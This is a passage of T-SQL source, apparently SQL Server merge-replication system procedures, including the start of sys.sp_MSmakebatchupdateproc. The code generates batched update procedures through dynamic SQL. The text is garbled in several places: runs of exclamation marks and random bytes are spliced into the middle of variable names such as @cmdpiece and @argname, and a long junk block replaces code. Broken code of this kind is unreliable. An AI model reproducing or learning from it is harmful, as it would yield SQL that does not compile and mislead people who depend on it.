    if @fset <> 0
    begin'
        insert into #tempcmd (phase, cmdtext) values (12, @cmdpiece) 
        
        if @maintainsmetadata = 1 and @tablenick != @logical_record_parent_nickname
            select @cmdpiece = '
        if @match is NULL
        begin
            if @metadata_type = 3
            begin
                update ' + @qualified_name + ' set ' + @colname + ' = ' + @argname + ' 
                from ' + @qualified_name + ' t 
                where t.' + @rgcol + ' = @rowguid and
                   not exists (select 1 from dbo.MSmerge_contents c with (rowlock)
                                where c.rowguid = @rowguid and 
                                      c.tablenick = ' + @tablenickstr + ')
            end
            else if @metadata_type = 2
            begin
                update ' + @qualified_name + ' set ' + @colname + ' = ' + @argname + ' 
                from ' + @qualified_name + ' t 
                where t.' + @rgcol + ' = @rowguid and
                      exists (select 1 from dbo.MSmerge_contents c with (rowlock)
                                where c.rowguid = @rowguid and 
                                      c.tablenick = ' + @tablenickstr + ' and
                                      c.lineage = @lineage_old)
            end
            else
            begin
                set @errcode=2
                goto Failure
            end
        end
        else
        begin
            update ' + @qualified_name + ' set ' + @colname + ' = ' + @argname + ' 
                where rowguidcol = @rowguid
        end
        select @rowcount= @@rowcount, @error= @@error
        if (@rowcount <> 1)
        begin
            set @errcode= 3
            goto Failure
        end
        select @match = 1
    end '
        else
            select @cmdpiece = '
        update ' + @qualified_name + ' set ' + @colname + ' = ' + @argname + ' where rowguidcol = @rowguid 
        select @rowcount= @@rowcount, @error= @@error
        if (@rowcount <> 1)
        begin
            set @errcode= 3
            goto Failure
        end
    end'
        -- Now insert the command to temp table
        insert into #tempcmd (phase, cmdtext) values (12, @cmdpiece) 
        goto Next_Column
    end

    if @is_indexing_column = 1
    begin
        -- we will add this column to the select statement.
        -- we will also add the variable declaration for this
        if @is_indexing_column = 1
        begin    
            select @columnsetbitvarname = '@iscol' + rtrim(@colordstr) + 'set'
            set @cmdpiece = '
    declare ' + @columnsetbitvarname + ' bit'
            insert into #tempcmd (phase, cmdtext) values (3, @cmdpiece)
        
            if @firstCol=1
            begin
                set @firstCol= 0
                -- the following is added when we see the first indexing column. This is needed to build the 
                -- dynamic sql statement
                select @cmdpiece = '       
    declare @firstUpdStmtCol bit
    declare @nUpdateCols int
    declare @updatestmt nvarchar(4000) 
    
    select @firstUpdStmtCol = 1
    select @nUpdateCols = 0
    select @updatestmt = ''update '' + ''' +  @escaped_qualified_name + ''' + '' set ''
            '
                insert into #tempcmd (phase, cmdtext) values (10, @cmdpiece)
            end
        end
        
        set @cmdpiece = '
    if ' + @littlecomp + '
        set @fset = 0
    else if ( ' + @varname + ' is null and ' + @argname + ' is null) 
        set @fset = 0
    else if ' + @argname + ' is not null
        set @fset = 1
    else if @setbm = 0x0
        set @fset = 0
    else
        exec @fset = sys.sp_MStestbit @setbm, ' + @colordstr + '
    if @fset <> 0
    begin'
        insert into #tempcmd (phase, cmdtext) values (15, @!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Z17vOcmdpiece)
        
        declare @escaped_colname nvarchar(256)
        select @escaped_colname = sys.fn_replreplacesinglequote(@colname)
        set @cmdpiece = '
        select @indexing_column_updated = 1
        select ' + @columnsetbitvarname + ' = 1'
        select @cmdpiece = @cmdpiece + '
        if @firstUpdStmtCol = 1
            select @firstUpdStmtCol = 0
        else
            select @updatestmt = @updatestmt + '','''
        select @cmdpiece = @cmdpiece + '
        select @updatestmt = @updatestmt + '''
                + @escaped_colname + ' = ' + @argname + '''
        select @nUpdateCols = @nUpdateCols + 1'
        select @cmdpiece = @cmdpiece + '
    end
    else
    begin
        select ' + @columnsetbitvarname + ' = 0
    end'
        insert into #tempcmd (phase, cmdtext) values (15, @cmdpiece)

        -- we need to construct the dynamic sql statement that we will be using incase the user has
        -- permissions and we have to update an indexing column
        if @indexing_columns_update_stmt_started = 0
        begin
            select @cmdpiece = '
    if @indexing_column_updated = 1
    begin
        if @hasperm = 0
        begin
            update ' + @qualified_name + ' set '
            insert into #tempcmd (phase, cmdtext) values (20, @cmdpiece) 

            -- phase 25 is all individual column updates

            -- phase 30 below is end of non-dynamic sql update for non-indexing columns
            if @maintainsmetadata = 1 and @tablenick != @logical_record_parent_nickname
            begin
                select @cmdpiece = ' 
             from ' + @qualified_name + ' t 
                left outer join dbo.MSmerge_contents c with (rowlock)
                    on c.rowguid = t.' + @rgcol + ' and 
                       c.tablenick = ' + @tablenickstr + ' and
                       t.' + @rgcol + ' = @rowguid
             where t.' + @rgcol + ' = @rowguid and
             ((@match is not NULL and @match = 1) or 
              ((@metadata_type = 3 and c.rowguid is NULL) or
               (@metadata_type = 2 and c.rowguid is not NULL and c.lineage = @lineage_old)))

            select @rowcount= @@rowcount, @error= @@error'
            end
            else
            begin
                select @cmdpiece = ' where rowguidcol = @rowguid
            select @rowcount= @@rowcount, @error= @@error'
            end
            insert into #tempcmd (phase, cmdtext) values (30, @cmdpiece) 

            -- now add the sp_executesql part            
            select @cmdpiece = '
        end
        else -- we can do sp_executesql since the current user has permissions to update the table
        begin '
            if @maintainsmetadata = 1 and @tablenick != @logical_record_parent_nickname
                select @cmdpiece = @cmdpiece + '
            if @match is NULL
            begin
                if @metadata_type = 3
                begin
                    select @updatestmt = @updatestmt + ''
                       from ' + @escaped_qualified_name + ' t 
                       where t.' + @rgcol + ' = @rowguid and
                             not exists (select 1 from dbo.MSmerge_contents c with (rowlock)
                                         where c.rowguid = @rowguid and 
                                               c.tablenick = ' + @tablenickstr + ')''
                end
                else if @metadata_type = 2
                begin
                    select @updatestmt = @updatestmt + ''
                       from ' + @escaped_qualified_name + ' t 
                       where t.' + @rgcol + ' = @rowguid and
                             exists (select 1 from dbo.MSmerge_contents c with (rowlock)
                                     where c.rowguid = @rowguid and 
                                           c.tablenick = ' + @tablenickstr + ' and
                                           c.lineage = @lineage_old)''
                end
            end
            else
            begin
                select @updatestmt = @updatestmt + ''
                    where rowguidcol = @rowguid ''
            end
            select @updatestmt = @updatestmt + ''
                select @rowcount = @@rowcount, @error = @@error''
            exec sys.sp_executesql @stmt = @updatestmt, @parameters = N'''
            else
                select @cmdpiece = @cmdpiece + '
            select @updatestmt = @updatestmt + ''
                where rowguidcol = @rowguid
                select @rowcount = @@rowcount, @error = @@error''
            exec sys.sp_executesql @stmt = @updatestmt, @parameters = N'''
                
            insert into #tempcmd (phase, cmdtext) values (30, @cmdpiece) 

            -- phase 35 will be all the 'parameters' for sp_executesql

            -- end of @parameters to sp_executesql
            if @maintainsmetadata = 1 and @tablenick != @logical_record_parent_nickname
                select @cmdpiece = ', @rowguid uniqueidentifier = ''''00000000-0000-0000-0000-000000000000'''', @lineage_old varbinary(311), @rowcount int output, @error int output'','
            else
                select @cmdpiece = ', @rowguid uniqueidentifier = ''''00000000-0000-0000-0000-000000000000'''', @rowcount int output, @error int output'','
            insert into #tempcmd (phase, cmdtext) values (40, @cmdpiece) 
            
            -- phase 45 will be the actual parameters to sp_executesql

            -- phase 50 is the end of actual parameters to sp_executesql
            if @maintainsmetadata = 1 and @tablenick != @logical_record_parent_nickname
                select @cmdpiece = '
                    , @rowguid = @rowguid, @lineage_old = @lineage_old, @rowcount = @rowcount OUTPUT, @error = @error OUTPUT '
            else
                select @cmdpiece = '
                    , @rowguid = @rowguid, @rowcount = @rowcount OUTPUT, @error = @error OUTPUT '
            select @cmdpiece = @cmdpiece + '
        end  -- end if @hasperm
        if (@rowcount <> 1)
        begin
            set @errcode= 3
            goto Failure
        end'             

            if @maintainsmetadata = 1 and @tablenick != @logical_record_parent_nickname
                select @cmdpiece = @cmdpiece + '    
        select @match = 1'
        
            select @cmdpiece = @cmdpiece + '    
    end -- end if @indexing_column_updated '
            insert into #tempcmd (phase, cmdtext) values (50, @cmdpiece) 
            select @indexing_columns_update_stmt_started = 1
        end -- end if @indexing_columns_update_stmt_started
        else
        begin
            select @cmdpiece = ','
            insert into #tempcmd (phase, cmdtext) values (35, @cmdpiece)
            select @cmdpiece = ','
            insert into #tempcmd (phase, cmdtext) values (45, @cmdpiece)
        end
        
        -- add all the values in @parameters to the sp_executesql call
        select @cmdpiece = '
                    ' + @argname + ' ' + @schname + @typename
        insert into #tempcmd (phase, cmdtext) values (35, @cmdpiece)

        -- add all the @params for the sp_executesql call 
        select @cmdpiece = '
                    ' + @argname + ' = ' + @argname
        insert into #tempcmd (phase, cmdtext) values (45, @cmdpiece)

        -- insert the part that goes into the update statement in the case we are not using execsql
        -- this update statement is the one that updates all indexing columns.
        if @firstUpdCol=1
        begin
            select @firstUpdCol = 0
            select @cmdpiece = ''
        end
        else 
            select @cmdpiece = ','
        
        if @maintainsmetadata = 1 and @tablenick != @logical_record_parent_nickname
            select @cmdpiece = @cmdpiece + '
                ' + @colname + ' = case ' + @columnsetbitvarname + ' when 1 then ' + @arg!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<([#vOname + ' else t.' + @colname + ' end'
        else
            select @cmdpiece = @cmdpiece + '
                ' + @colname + ' = case ' + @columnsetbitvarname + ' when 1 then ' + @argname + ' else ' + @colname + ' end'
        insert into #tempcmd (phase, cmdtext) values (25, @cmdpiece)
    end
    else
    begin
        -- if this is not an indexing column we can update the column as part of the general update column
        if (@update_stmt_started = 0)
        begin
            select @update_stmt_started = 1
            if @maintainsmetadata = 1 and @tablenick != @logical_record_parent_nickname
            begin
                select @cmdpiece = '
    if @match is NULL
    begin
        update ' + @qualified_name + ' set '
                insert into #tempcmd (phase, cmdtext) values (60, @cmdpiece) 

                -- phase 65 is the list of column updates
                
                select @cmdpiece = ' 
         from ' + @qualified_name + ' t 
            left outer join dbo.MSmerge_contents c with (rowlock)
                on c.rowguid = t.' + @rgcol + ' and 
                   c.tablenick = ' + @tablenickstr + ' and
                   t.' + @rgcol + ' = @rowguid
         where t.' + @rgcol + ' = @rowguid and
         ((@match is not NULL and @match = 1) or 
          ((@metadata_type = 3 and c.rowguid is NULL) or
           (@metadata_type = 2 and c.rowguid is not NULL and c.lineage = @lineage_old)))

        select @rowcount= @@rowcount, @error= @@error
    end
    else
    begin
        update ' + @qualified_name + ' set '
                insert into #tempcmd (phase, cmdtext) values (70, @cmdpiece) 

                -- phase 75 is the list of column updates
                
                select @cmdpiece = ' 
         from ' + @qualified_name + ' t 
             where t.' + @rgcol + ' = @rowguid

        select @rowcount= @@rowcount, @error= @@error
    end'
                insert into #tempcmd (phase, cmdtext) values (80, @cmdpiece) 
            end
            else
            begin
                select @cmdpiece = '
    update ' + @qualified_name + ' set '
                insert into #tempcmd (phase, cmdtext) values (60, @cmdpiece) 
            
                -- phase 65 is the list of column updates
                
                select @cmdpiece = ' 
         from ' + @qualified_name + ' t 
             where t.' + @rgcol + ' = @rowguid
    select @rowcount= @@rowcount, @error= @@error'
                insert into #tempcmd (phase, cmdtext) values (70, @cmdpiece) 
            end
            select @cmdpiece = '
    if (@rowcount <> 1) or (@error <> 0)
    begin
        set @errcode= 3
        goto Failure
    end'
            insert into #tempcmd (phase, cmdtext) values (80, @cmdpiece) 
            
            if @maintainsmetadata = 1 and @tablenick != @logical_record_parent_nickname
            begin
                select @cmdpiece = '
    select @match = 1'
                insert into #tempcmd (phase, cmdtext) values (80, @cmdpiece) 
            end
        end
        else
        begin
            select @cmdpiece = ','
            insert into #tempcmd (phase, cmdtext) values (65, @cmdpiece)
            if @maintainsmetadata = 1 and @tablenick != @logical_record_parent_nickname
                insert into #tempcmd (phase, cmdtext) values (75, @cmdpiece)
        end

        if @maintainsmetadata = 1 and @tablenick != @logical_record_parent_nickname
        begin
            select @cmdpiece = '
            ' + @colname + ' = case when ' + @argname + ' is NULL then (case when sys.fn_IsBitSetInBitmask(@setbm, ' + @colordstr + ') <> 0 then ' + @argname + ' else t.' + @colname + ' end) else ' + @argname + ' end '
            insert into #tempcmd (phase, cmdtext) values (65, @cmdpiece)        
            insert into #tempcmd (phase, cmdtext) values (75, @cmdpiece)        
        end
        else
        begin
            select @cmdpiece = '
            ' + @colname + ' = case when ' + @argname + ' is NULL then (case when sys.fn_IsBitSetInBitmask(@setbm, ' + @colordstr + ') <> 0 then ' + @argname + ' else t.' + @colname + ' end) else ' + @argname + ' end '
            insert into #tempcmd (phase, cmdtext) values (65, @cmdpiece)        
        end
    end
    
Next_Column:        
    -- Advance loop to next column and repeat!
    if @sync_objid = @id
        select @colid = min (column_id) from sys.columns where object_id = @id and is_computed=0 and user_type_id<>type_id('timestamp') and column_id > @colid 
    else
        select @colid = min(cs.column_id) 
            from sys.columns cs inner join sys.columns co on co.object_id=@id and co.name = cs.name
        where cs.object_id = @sync_objid and 
              co.is_computed=0 and co.user_type_id<>type_id('timestamp') and cs.column_id > @colid 
    
    set @colname = NULL
    if (@colid is not null)
    begin
        select top 1 @colname = C.name, 
        @typename = type_name(C.user_type_id), 
        @base_typename = type_name(C.system_type_id), 
        @schname=case when S.name<>'sys' and S.name<>'dbo'
                                then QUOTENAME(S.name)+'.' else '' end, 
        @system_type_id = C.system_type_id,
        @blen = C.max_length,
        @prec = C.precision, 
        @scale = C.scale
        from sys.columns C  
                INNER JOIN sys.types T ON C.user_type_id = T.user_type_id
                INNER JOIN sys.schemas S ON T.schema_id = S.schema_id            
        where C.object_id = @sync_objid and C.column_id = @colid
    
        select @isidentitycolumn = is_identity, @iscomputed=is_computed, @xtype=user_type_id,
            @isrowguidcol = is_rowguidcol 
            from sys.columns 
            where object_id = @id and name = @colname
                
        if ((@base_typename='nvarchar' or @base_typename='nchar') and @blen <> -1) -- a unit of nchar takes 2 bytes
            set @len = @blen/2
        else
            set @len = @blen

        set @colordinal = @colordinal + 1
    end
end

if 1 = @maintainsmetadata
begin
    if @partition_options > 1 and @atpublisher = 1 -- should really be @well_partitioned_multiple_hops = 1, requires agent changes in commit batch
    begin
        set @cmdpiece = ', @compatlevel int = 10, @partition_id int = NULL '
        insert into #tempcmd (phase, cmdtext) values (1, @cmdpiece)
    end
    else
    begin
        set @cmdpiece = ', @compatlevel int = 10 '
        insert into #tempcmd (phase, cmdtext) values (1, @cmdpiece)
    end
end

-- Add dummy column list to select statement if there is no user updateable 
-- column.
if @has_updateable_columns_in_select_list = 0
begin
    insert into #tempcmd (phase, cmdtext) values (3, N'declare @l int')
    insert into #tempcmd (phase, cmdtext) values (5, N'@l = 1')
end

-- phase 20 finish the stored procedure
if 1 = @maintainsmetadata
begin

    if @partition_options > 1
        select @cmdpiece = ' 
    if @lineage_new is not null
    begin '
    else
        select @cmdpiece = ' '

    set @cmdpiece = @cmdpiece + '
    exec @retcode= sys.sp_MSsetrowmetadata 
        @tablenick, @rowguid, @generation, 
        @lineage_new, @colv, 2, NULL, 
        @compatlevel, 0, ''' + convert(nvarchar(36),@pubid) + ''''
        
    if @partition_options > 1
    begin
        if @atpublisher = 1
            select @cmdpiece = @cmdpiece + ',       
    @publication_number = @publication_number, @partition_id = @partition_id, @partition_options = 2 '
        else
            select @cmdpiece = @cmdpiece + ',       
    @publication_number = NULL, @partition_id = NULL, @partition_options = 2 '
    end
    
    select @cmdpiece = @cmdpiece + '
    if @retcode<>0 or @@ERROR<>0
    begin
        set @errcode= 3
        goto Failure
    end '

    if @partition_options > 1
        select @cmdpiece = !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<*\,tOhW>X8^Y}Z[΢#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(]o`[v7/create procedure sys.sp_MSmakebatchupdateproc 
    (@tablename sysname, @ownername sysname, @procname sysname, @pubid uniqueidentifier, @artid uniqueidentifier,
     @generate_subscriber_proc bit = 0, @destination_owner sysname = NULL)
as
declare @argname                        sysname
declare @id                             int
declare @sync_objid                     int
declare @qualified_name                 nvarchar(270)
declare @idstr                          nvarchar(100)
declare @iscomputed                     tinyint
declare @xtype                          int
declare @is_identitynotforreplication   bit
declare @retcode                        int
declare @colname                        nvarchar(140)
declare @typename                       nvarchar(258)
declare @base_typename                       nvarchar(140)
declare @schname                        nvarchar(140)  
declare @isidentitycolumn               bit
declare @len                            smallint
declare @prec                           int
declare @scale                          int
declare @tablenick                      int
declare @tablenickstr                   nvarchar(12)
declare @cmdpiece                       nvarchar(4000)
declare @article_name                   sysname
declare @maintainsmetadata              bit
declare @colid int -- index in sys.columns, used to iterate through sys.columns
declare @colordinal int -- index in @setbm, used to interate actual data sent across
declare @colordstr nvarchar(5) -- @colordinal stringification
declare @colcount int
declare @maxparams int
declare @batchingfactor int
declare @rownumber int
declare @rownumberstr nvarchar(5)
declare @updatecolumnsstarted bit
declare @colnumber int
declare @colidstr nvarchar(5)
declare @colalias nvarchar(100)
declare @isrowguidcol tinyint
declare @partition_options tinyint
declare @atpublisher bit
declare @publication_number smallint
declare @rgcolname nvarchar(140)
declare @unquoted_colname sysname
declare @is_filtering_column bit
declare @filtering_column_check_start_phase int
declare @unfiltered_column_found bit
declare @filtering_column_number int
declare @maxschemaguid uniqueidentifier
declare @command1 nvarchar(4000)
declare @command2 nvarchar(4000)
declare @command3 nvarchar(4000)
declare @command4 nvarchar(4000)
declare @max_colv_size_in_bytes int
declare @qualified_sync_view nvarchar(517)
declare @schema_option varbinary(8)


set nocount on

-- Check for subscribing permission
exec @retcode=sys.sp_MSreplcheck_subscribe
if @retcode<>0 or @@ERROR<>0 return (0)

if @ownername is NULL or @ownername=''
    select @qualified_name = QUOTENAME(@tablename)
else    
    select @qualified_name = QUOTENAME(@ownername) + '.' + QUOTENAME(@tablename)
    
select @id = object_id(@qualified_name)
if @id is NULL 
    return (1)
    
if exists (select * from dbo.sysmergearticles where objid = @id and column_tracking = 1)
begin
    declare @current_col_count int, @missing_col_count int
    select @current_col_count = count(*) 
            from sys.columns where object_id = @id
    select @missing_col_count = coalesce((select max(missing_col_count) 
            from dbo.sysmergearticles where objid = @id), 0)
    -- 12 bytes per column in table + 1 trailing byte for colv.
    select @max_colv_size_in_bytes = 12 * (@current_col_count + @missing_col_count) + 1
    if @max_colv_size_in_bytes > 2953
            select @max_colv_size_in_bytes = 2953
end
else
    select @max_colv_size_in_bytes = 1

select @rgcolname = QUOTENAME(name) from sys.columns where object_id = @id and is_rowguidcol = 1
if @rgcolname is null
    set @rgcolname = 'rowguid'

select @sync_objid = sync_objid, 
@partition_options = partition_options, @schema_option = schema_option,
@tablenick = nickname
from dbo.sysmergepartitioninfoview where artid = @artid and pubid=@pubid
if @tablenick is NULL
    return (1)

set @tablenickstr = rtrim(convert(nchar, @tablenick))

if @partition_options = 2
begin
    -- if this is a republisher of this article, and we are currently
    -- downloading from the top-level publisher, then pretend that this is 
    -- not a well-partitioned article. This is done such that the partition evaluation
    -- and setrowmetadata is done appropriately.
    if sys.fn_MSmerge_islocalpubid(@pubid) = 0 
        and exists (select * from dbo.sysmergearticles 
                    where artid = @artid
                    and sys.fn_MSmerge_islocalpubid(pubid) = 1)
        select @partition_options = 0
end

set @idstr = rtrim(convert(nchar, @id))

if @generate_subscriber_proc = 1
begin
    select @atpublisher = 0
    select @qualified_name = quotename(@destination_owner) + '.' + quotename(@tablename)
    if exists (select 1 from dbo.sysmergearticles where artid=@artid and pubid=@pubid and upload_options in (1,2))
        select @maintainsmetadata = 0
    else
        select @maintainsmetadata = 1
end
else
begin
    set @maintainsmetadata= sys.fn_MSarticle_allows_DML_at_this_replica(@artid, default)
    select @atpublisher = sys.fn_MSmerge_islocalpubid(@pubid)
    select @maxschemaguid = sys.fn_GetArticleSchemaVersionGuid(@artid, @pubid)
end


select @updatecolumnsstarted = 0

if exists (select * from dbo.sysmergearticles where pubid = @pubid and nickname = @tablenick
                        and len(subset_filterclause) > 0)
                or exists (select * from dbo.sysmergesubsetfilters where pubid = @pubid and 
                        (art_nickname = @tablenick or join_nickname = @tablenick))
begin
        exec @retcode = sys.sp_MSget_qualified_name @sync_objid, @qualified_sync_view output
        if @sync_objid is not NULL and @qualified_sync_view is NULL
                return 1
end
else
begin
        select @qualified_sync_view = NULL
end

select top 1 @publication_number = publication_number 
from dbo.sysmergepublications 
where pubid = @pubid


-- compute batching factor. For each row we need 
-- max params is 1024-2 for the first 2 parameters which is number of rows to be inserted, partition id
select @maxparams=1024-2

-- subtract one more since we have a @maxschemaguidforarticle parameter on the publisher
if @atpublisher = 1
    select @maxparams = @maxparams - 1

if @id = @sync_objid
    select @colcount = count(*) from sys.columns where object_id=@id and is_computed=0 and user_type_id<>type_id('timestamp') and is_identity=0
else
    select @colcount = count(*) 
        from sys.columns cs inner join sys.columns co on co.object_id=@id and co.name = cs.name
    where cs.object_id = @sync_objid and 
            co.is_computed=0 and co.user_type_id<>type_id('timestamp') and co.is_identity=0 

-- for regular articles for each row we need rowguid, setbm, metadata_type, lineage_old, generation, lineage_new, colv
-- in addition to the list of user table columns. For download only articles we only need rowguid and setbm
if 1 = @maintainsmetadata
    select @colcount = @colcount + 7
else
    select @colcount = @colcount + 2

select @batchingfactor = @maxparams/@colcount
if @batchingfactor > 100
    select @batchingfactor = 100

select @unfiltered_column_found = 0
if @sync_objid = @id
    select @colid = min(column_id) from sys.columns where object_id = @id and is_computed=0 and user_type_id<>type_id('timestamp') 
else
    select @colid = min(cs.column_id) 
        from sys.columns cs inner join sys.columns co on co.object_id=@id and co.name = cs.name
    where cs.object_id = @sync_objid and 
          co.is_computed=0 and co.user_type_id<>type_id('timestamp') 

select top 1 @colname = QUOTENAME(C.name), 
    @unquoted_colname = C.name,
    @typename = type_name(C.user_type_id), 
    @schname=case when S.name<>'sys' and S.name<>'dbo'
                            then QUOTENAME(S.name)+'.' else '' end,     
    @len = C.max_length,
    @prec = C.precision, 
    @scale = C.scale
  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(^oPnv7/  from sys.columns C  
            INNER JOIN sys.types T ON C.user_type_id = T.user_type_id
            INNER JOIN sys.schemas S ON T.schema_id = S.schema_id            
    where C.object_id = @sync_objid and C.column_id = @colid
    
select @isidentitycolumn = is_identity, 
       @iscomputed=is_computed, 
       @xtype=user_type_id, 
       @isrowguidcol = is_rowguidcol,
       @is_identitynotforreplication = convert(bit, isnull(columnproperty(@id, name, 'IsIdNotForRepl'), 0)) 
    from sys.columns 
    where object_id = @id and QUOTENAME(name) = @colname
while (@colname is not null)
begin
    if (@isidentitycolumn = 1 or @iscomputed=1 OR type_name(@xtype)='timestamp')
        goto Next_Column1

    if @isrowguidcol = 1
        goto Next_Column1
    
    set @is_filtering_column = 0
    -- does updating this column change membership in a partial replica? 
    
    if exists (select * from dbo.sysmergearticles 
        where objid = @id and pubid = @pubid and sys.fn_MSisfilteredcolumn(subset_filterclause, @unquoted_colname, @id) = 1)
        set @is_filtering_column = 1
    else if exists (select * from dbo.sysmergesubsetfilters
        where art_nickname = @tablenick and pubid = @pubid and sys.fn_MSisfilteredcolumn(join_filterclause, @unquoted_colname, @id) = 1)
        set @is_filtering_column = 1
    else if exists (select * from dbo.sysmergesubsetfilters
        where join_nickname = @tablenick and pubid = @pubid and sys.fn_MSisfilteredcolumn(join_filterclause, @unquoted_colname, @id) = 1)
        set @is_filtering_column = 1
    if @is_filtering_column = 0
        select @unfiltered_column_found = 1
    

Next_Column1:
    -- now set up to repeat the loop with the next column
    select @colid = min (column_id) from sys.columns where object_id = @sync_objid and column_id > @colid 
        
    set @colname = NULL
    if @colid is not null
        select top 1 @colname = QUOTENAME(C.name), 
        @unquoted_colname = C.name,
        @isidentitycolumn = C.is_identity,
        @typename = type_name(C.user_type_id), 
        @len = C.max_length,
        @schname=case when S.name<>'sys' and S.name<>'dbo'
                                    then QUOTENAME(S.name)+'.' else '' end, 
        @prec = C.precision, 
        @scale = C.scale
        from sys.columns C  
                INNER JOIN sys.types T ON C.user_type_id = T.user_type_id
                INNER JOIN sys.schemas S ON T.schema_id = S.schema_id            
        where C.object_id = @sync_objid and C.column_id = @colid
    
    select @isidentitycolumn = is_identity, 
           @iscomputed=is_computed, 
           @xtype=user_type_id, 
           @isrowguidcol = is_rowguidcol,
           @is_identitynotforreplication = convert(bit, isnull(columnproperty(@id, name, 'IsIdNotForRepl'), 0)) 
        from sys.columns 
        where object_id = @id and QUOTENAME(name) = @colname
end

-- the following is true if the only columns in the table are all filtering columns
if @unfiltered_column_found = 0
begin
    -- there is no point trying to create a update batch proc.
    -- just create an empty proc
    select 'create procedure dbo.'  + QUOTENAME(@procname) + '
    as
        -- do nothing
        select 1
    go'
    return 0
end


-- create temp table to select the command text out of
declare @tempcmd table (phase int NOT NULL, step int identity NOT NULL, cmdtext nvarchar(4000) collate database_default null)

-- phase 0 : create procedure and fixed part of argument list
if @atpublisher = 1
begin
    set @cmdpiece = 'create procedure dbo.'  + QUOTENAME(@procname) + ' (
        @maxschemaguidforarticle uniqueidentifier, 
        @rows_tobe_updated int,
        @partition_id int = null '
    insert into @tempcmd (phase, cmdtext) values (0, @cmdpiece)
end
else
begin
    set @cmdpiece = 'create procedure dbo.'  + QUOTENAME(@procname) + ' (
        @rows_tobe_updated int,
        @partition_id int = null '
    insert into @tempcmd (phase, cmdtext) values (0, @cmdpiece)
end


-- phase 10 is rest of the arguments built based on batching factor etc
select @cmdpiece = '
) as
begin
    declare @errcode    int
    declare @retcode    int
    declare @rowcount   int
    declare @error      int
    declare @publication_number smallint
    declare @filtering_column_updated bit
    declare @rows_updated int
    declare @cont_rows_updated int
    declare @rows_in_syncview int
    
    set nocount on
    
    set @errcode= 0
    set @publication_number = ' + convert(nvarchar(10), @publication_number) + '
    
    if ({ fn ISPALUSER(''' + convert(nvarchar(36),@pubid) + ''') } <> 1)
    begin
        RAISERROR (14126, 11, -1)
        return 4
    end

    if @rows_tobe_updated is NULL or @rows_tobe_updated <=0
        return 0

    select @filtering_column_updated = 0
    select @rows_updated = 0
    select @cont_rows_updated = 0 '

insert into @tempcmd (phase, cmdtext) values (20, @cmdpiece)

-- phase 22 - check the max schema guid for article and error out if they do not match
if @atpublisher = 1
begin
    set @cmdpiece= '
    declare @maxschemaguid      uniqueidentifier
    select @maxschemaguid = ''' + convert(nvarchar(36),@maxschemaguid) + '''
    if ((@maxschemaguidforarticle IS NOT NULL) and (@maxschemaguid <> @maxschemaguidforarticle))
    begin
        RAISERROR (25007, 11, -1)
        return 5
    end'
    insert into @tempcmd (phase, cmdtext) values (22, @cmdpiece)
end

/*
** Do not allow out of partition updates at the publisher.
** Check to see if the rows being updated are in the partition
** before updating them.
*/
if @atpublisher = 1 AND @partition_options>0 and @qualified_sync_view is not NULL
begin
    -- for partition_options > 0 we will not allow out of partition inserts
        select @cmdpiece = '
     select @rows_in_syncview = count (*) from ' + @qualified_sync_view + ' syncview with (READPAST)
     where syncview.' + @rgcolname + ' in 
     ('
        insert into @tempcmd (phase, cmdtext) values (23, @cmdpiece)
        -- phase 23 will be rowguids
        insert into @tempcmd (phase, cmdtext) select phase, cmdtext from sys.fn_MSgetrowguids(23, @batchingfactor) order by step
        select @cmdpiece = '
     )
 
     if @rows_in_syncview <> @rows_tobe_updated
     begin
        raiserror(20733, 16, -1, ''' + sys.fn_replreplacesinglequote(@tablename) + ''', ' + convert(char(3), @partition_options) + ')
        return 3
     end'

    insert into @tempcmd (phase, cmdtext) values (23, @cmdpiece)
end


    set @cmdpiece= '
    begin tran
    save tran batchupdateproc '
insert into @tempcmd (phase, cmdtext) values (25, @cmdpiece)

-- phase 50 onwards will be all the checks to see if a filtering column has been
-- updated. If a filtering column has been updated we will get out of the batched
-- update proc. Merge agent should revert back to singleton updates

-- phase 40000 is where the update statement starts
select @cmdpiece = '
    update ' + @qualified_name + ' with (rowlock)
    set ' 
insert into @tempcmd (phase, cmdtext) values (40000, @cmdpiece)
-- phase 40100 will contain all the sets c1=@p1 etc.    
select @cmdpiece = '
    from ('
insert into @tempcmd (phase, cmdtext) values (40200, @cmdpiece)
-- phase 40300 will have the virtual table definition

if 1 = @maintainsmetadata
begin
    select @cmdpiece = ') as rows
    inner join ' + @qualified_name + ' t with (rowlock) on rows.rowguid = t.' + @rgcolname + '
        and rows.rowguid is not null
    left outer join dbo.MSmerge_contents cont with (rowlock) on rows.rowguid = cont.rowguid 
    and cont.tablenick = ' + @tablenickstr + '
    where  ((rows.metadata_type = 2 and cont.rowguid is not NULL and cont.lineage = rows.lineage_old) or
           (rows.metadata_type = 3 and cont.rowguid is NULL))
           and rows.rowguid is not null
    
